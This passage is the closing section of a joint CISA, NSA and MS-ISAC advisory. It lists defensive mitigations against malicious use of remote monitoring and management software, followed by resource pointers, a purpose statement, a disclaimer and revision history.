The authoring organizations encourage network defenders to:

  • Implement best practices to block phishing emails. See CISA’s Phishing Infographic for more information.
  • Audit remote access tools on your network to identify currently used and/or authorized RMM software.
  • Review logs for execution of RMM software to detect abnormal use of programs running as a portable executable.
  • Use security software to detect instances of RMM software only being loaded in memory.
  • Implement application controls to manage and control execution of software, including allowlisting RMM programs.
  • Require authorized RMM solutions only be used from within your network over approved remote access solutions, such as virtual private networks (VPNs) or virtual desktop interfaces (VDIs).
  • Block both inbound and outbound connections on common RMM ports and protocols at the network perimeter. 
  • Implement a user training program and phishing exercises to raise awareness among users about the risks of visiting suspicious websites, clicking on suspicious links, and opening suspicious attachments. Reinforce the appropriate user response to phishing and spearphishing emails.

RESOURCES

  • See CISA Insights Mitigations and Hardening Guidance for MSPs and Small- and Mid-sized Businesses for guidance on hardening MSP and customer infrastructure.
  • U.S. Defense Industrial Base (DIB) Sector organizations may consider signing up for the NSA Cybersecurity Collaboration Center’s DIB Cybersecurity Service Offerings, including Protective Domain Name System (PDNS) services, vulnerability scanning, and threat intelligence collaboration for eligible organizations. For more information on how to enroll in these services, email dib_defense@cyber.nsa.gov.
  • CISA offers several Vulnerability Scanning to help organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors. See cisa.gov/cyber-hygiene-services.
  • Consider participating in CISA’s Automated Indicator Sharing (AIS) to receive real-time exchange of machine-readable cyber threat indicators and defensive measures. AIS is offered at no cost to participants as part of CISA’s mission to work with our public and private sector partners to identify and help mitigate cyber threats through information sharing and provide technical assistance, upon request, that helps prevent, detect, and respond to incidents.

PURPOSE

This advisory was developed by CISA, NSA, and MS-ISAC in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA, NSA, and MS-ISAC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.

References

Revisions

January 25, 2023: Initial Version